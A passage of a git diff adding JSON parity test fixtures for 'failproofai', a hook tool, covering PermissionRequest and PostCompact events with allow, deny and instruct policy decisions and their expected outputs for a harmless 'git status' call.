parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..abff3fd4 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..db626aca --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..845f0747 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..a67851e6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f92f32bb --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..bb7488b8 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a982d4dd --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..dcb7571f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..0c14d25a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..90667600 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..f9f37d09 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..0cf97621 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..fe8ea562 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..70a22919 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f590d720 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..98c3878c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b266cb47 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e9377321 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..823def1c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": 